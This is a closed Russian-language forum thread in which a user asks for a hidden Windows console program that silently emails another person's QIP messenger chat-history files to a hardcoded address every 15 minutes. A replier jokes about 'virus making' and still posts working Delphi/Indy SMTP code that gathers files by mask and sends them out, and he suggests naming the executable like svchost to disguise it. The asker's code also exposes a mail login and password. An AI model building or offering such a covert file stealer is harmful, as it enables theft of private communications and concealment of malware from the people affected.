Отправка файла на мыло

  • Автор темы aspcartman
  • Дата начала
Статус
Закрыто для дальнейших ответов.
A

aspcartman

Гость
#1
Здрасть. Сопсн такая тема. Нужно написать консольное приложение, которое бы при запуске отпровляло все файлы из заданной папки с именнем *.qhf на указанный в коде имейл. Очень требуется. Помогите начинающему! Киньте ссылки на мануалы, или если напишите код то буду в двойне благодарен!
Использую CodeGear Delphi for win32 2007 (если нужно).
 
A

aspcartman

Гость
#3
Спс огромное но пишет мол
RASConn: TRASConn;

Ниизвестная штука - "TRASConn" и соответсвенно все что далее не понимает. Чего у меня не хватает? =)
 
A

aspcartman

Гость
#4
Полистал код и понял что опыта у меня маловато =) Вкуда писать адрес, путь к файлам и тд и тп? ибо что я сделал так это создал консольное приложение и вместо стандартного кода впихнул этот (подравив немного граматические ошибки)
 

morpheus

скриптописец
07.08.2006
3 915
1
34
Украина, Киев
#5
гы , а ну да то под D5 код подходить

Вот тут неплохо расписано, да и вообще с такими вапросами надо сразу в гугл обращаться
 
C

Coldfate

Гость
#6
А ты попробуй IdSMTPServer. Индюшная компонента. Т. е. берем TIdMessage, заполняем в ней поля и добавляем Attachments (т. е. присоединения, или, в твоем случае, файлы). У меня есть исходники похожего назначения, могу сбросить (даже статья где-то была). Затем ставим TIdSmtpServer, указываем в нем свое мыло, логин и пароль, и тремя методами Connect, Authentificate и Send(Message), где Message - наша TIDMessage отправляем сообщения. Мой пост не тянет на исчерпываемость сведений, но, сорри, опаздываю :).
 
A

aspcartman

Гость
#8
В той справке написанно всунуть на форму - а мне нельзя форму. мне нужно скрытное приложение. тоясть вообще невидно никак. тихонечко сидит и шлет каждые 15 мин.

Так с этой проблемой я разобрался. спс. ща буду пытатся.
 
A

aspcartman

Гость
#9
[DCC Error] Project1.dpr(15): E2003 Undeclared identifier: 'AuthenticationType'
[DCC Error] Project1.dpr(15): E2003 Undeclared identifier: 'atLogin'


Появилось на стадии добавления

IdSMTP1.AuthenticationType:=atLogin;
IdSMTP1.Username:='delphi';
IdSMTP1.Password:='something';
 
R

root

Гость
#10
Для: aspcartman
в uses IdSMTP есть (юный вирусмейкер <_<) ?

мне нужно скрытное приложение
view-project manager-улаляешь все кроме (project1.exe)-view source
в нем пишешь uses IdMessageClient, IdSMTP
и дальше кодом
var sender_vir: Tidsmtp;
sender_vir:= tidsmtp.create(Application)
......
вот рабочая процедура(из Internet)
Код:
procedure TForm1.SendMail(Host, Username, Password, Subj, Recip, From, Attach: string);
var
M: TIdMessage;
begin
M:=TIdMessage.Create(Form1);
M.From.Text:=From;				// От кого
M.Recipients.Add;				 // Добавили получателя
M.Recipients.Items[0].Text:=Recip; // Получатель
M.Subject:=subj;				 // Тема
TIdAttachment.Create(M.MessageParts, Attach); // Аттачмент
// Соединяемся

Memo1.Lines.Add('Соединение с сервером...');
IdSMTP1.AuthenticationType := atLogin;
IdSMTP1.Host:=Host;						// Сервер
IdSMTP1.Username:=UserName;				// Логин
IdSMTP1.Password:=Password;				// Пароль
try
// Пробуем соединиться
IdSMTP1.Connect();
except
Memo1.Lines.Add('Ошибка! Сервер не найден.');
exit;
end;
// Пробуем отправить файл
try
if IdSMTP1.Connected then begin
Memo1.Lines.Add('Отправка файла...');
IdSMTP1.Send(M);
IdSMTP1.Disconnect;
Memo1.Lines.Add('Файл успешно отправлен.');
Button2.Enabled:=false;
end;
except
Memo1.Lines.Add('Ошибка соединения. Данные не отправлены.');
IdSMTP1.Disconnect;
end;
end;
 
A

aspcartman

Гость
#11
Обижаешь, есть канешна.

Процедурка не подходит по одной простой причине что мненужно скрытое приложение.

Кстати, где брать INDY? Я его брал с их сайта, вообще както боком поставилось. Protocols вообще не щакомпилилсь и соответственно не поставились. Вообще конкретная мусорка получилась. Наверное ща делфю переустановлю.

Странно делфя 2007 весит 1,2гига (до этого юзал 70мб лайтную) и нету инди.
 
R

root

Гость
#12
Для: aspcartman
Код:
program Project2;

uses 
Forms,
IdMessage, IdSMTP;
// Если нет в палитре компонетов то
//		IdSMTP in 'Путь\до\IdSMTP.pas',
//		  IdMessage in 'Путь\до\IdMessage.pas';
//
//
//
//

{$R *.res}
var
sender1: TIdSMTP;
att: TIdMessage;


begin
Application.Initialize;
Application.Run;
sender1:= TIdSMTP.Create(Application );
sender1.Host := 'smtp.list.ru';
sender1.Port :=25;
sender1.AuthenticationType := atLogin;
sender1.Username :='';//логин
sender1.Password :='';//пароль 
try
sender1.Connect();
except
exit;
end;
if sender1.Connected then
begin
att:= TIdMessage.Create(Application );
att.From.Text :='';// от кого 
att.Recipients.Add.Text :='';// кому
TIdAttachment.Create(att.MessageParts, 'c:\Web.log');
sender1.Send(att )
end;



end.
 
A

aspcartman

Гость
#13
Спасибо. Щас посмотрю. Покачто вот что у меня получилось:
Код:
program Project2;

{$APPTYPE CONSOLE}

uses
SysUtils, Idsmtp, IdMessageClient, IdSMTPBase;
var
IdSMTP1: TIdSMTP;
Msg: TIdMessage;
begin
IdSMTP1.Port:=25;
IdSMTP1.Host := 'smtp.mail.ru';
IdSMTP1.Connect(5000);
IdSMTP1.AuthType:=satDefault;
IdSMTP1.Username:='iorka';
IdSMTP1.Password:='300358';
Msg.Subject:='тема сообщения';					 //текст темы сообщения
Msg.Recipients.EMailAddresses:='bogdanwe@mail.ru';
//указываем адрес получателя
Msg.From.Adress:='delphi@mail.ru';		 //указываем автора письма
Msg.Body.Text:='текст сообщения';			 //размещаем текст сообщения
Msg.Date:=StrToDate('01.12.2004');//дата отправки письма может быть любой
if IdSMTP1.Connected=True then IdSMTP1.Send(Msg);
end.


Он не понимает TIdMessage и соответственно все что начиается на msg не пашет
 
R

root

Гость
#14
Для: aspcartman
только переименовать в scvhost не забудь <_<


Для: aspcartman
uses
IdMessage, IdSMTP;


Для: aspcartman
IdMessageClient выкини его
 
A

aspcartman

Гость
#15
Прошу прощения за тупость ))) Нужнобыло в юзыз IdMessage всунуть

А кого в переменовать и зачем? =)
 
A

aspcartman

Гость
#17
<_<

Ну вот оставляю все как есть, пишу ниже даты до if
TIdAttachment.Create(Msg.MessageParts,'ПУТЬ'); но не пашет
 
R

root

Гость
#18
Для: aspcartman
в uses SysUtils
в var
f: TSearchRec ;
FindFirst('c:\*.log',faAnyFile ,f);
if F.name <> '' then
begin
TIdAttachment.Create(att.MessageParts, 'c:\'+f.Name );
while FindNext(F) = 0 do
begin
TIdAttachment.Create(att.MessageParts, 'c:\'+f.Name );
end;
FindClose(f);
sender1.Send(att )
end;
 
A

aspcartman

Гость
#19
Ну воть =)

Хочу прибавить к письму все файлы аля
C:\programm files\qip\logs\*.sqf
и отправить их одним сообщением.


ЗЫ

TIdAttachment.Create(Msg.MessageParts,'Ну тут типа путь к одному файлику');

пишет

[DCC Error] Project2.dpr(28): E2034 Too many actual parameters
[DCC Warning] Project2.dpr(28): W1020 Constructing instance of 'TIdAttachment' containing abstract method 'TIdAttachment.OpenLoadStream'
 
R

root

Гость
#20
Для: aspcartman
Код:
program Project2;

uses
forms,
IdMessage,
IdSMTP,SysUtils;

{$R *.res}
var
sender1: TIdSMTP;
att: TIdMessage;
f: TSearchRec;
begin
Application.Initialize;
Application.Run;
sender1:= TIdSMTP.Create(Application);
sender1.Host := 'smtp.list.ru';
sender1.Port :=25;
sender1.AuthenticationType := atLogin;
sender1.Username :='';
sender1.Password :='';
try
sender1.Connect();
except
exit;
end;
if sender1.Connected then
begin
att:= TIdMessage.Create(Application );
att.From.Text :='';
att.Recipients.Add.Text :='';
FindFirst('c:\*.log',faAnyFile ,f);
if F.name <> '' then
begin
TIdAttachment.Create(att.MessageParts, 'c:\'+f.Name );

while FindNext(F) = 0 do
begin
TIdAttachment.Create(att.MessageParts, 'c:\'+f.Name );

end;
FindClose(f);
sender1.Send(att );
end;

end;



end.
 
Статус
Закрыто для дальнейших ответов.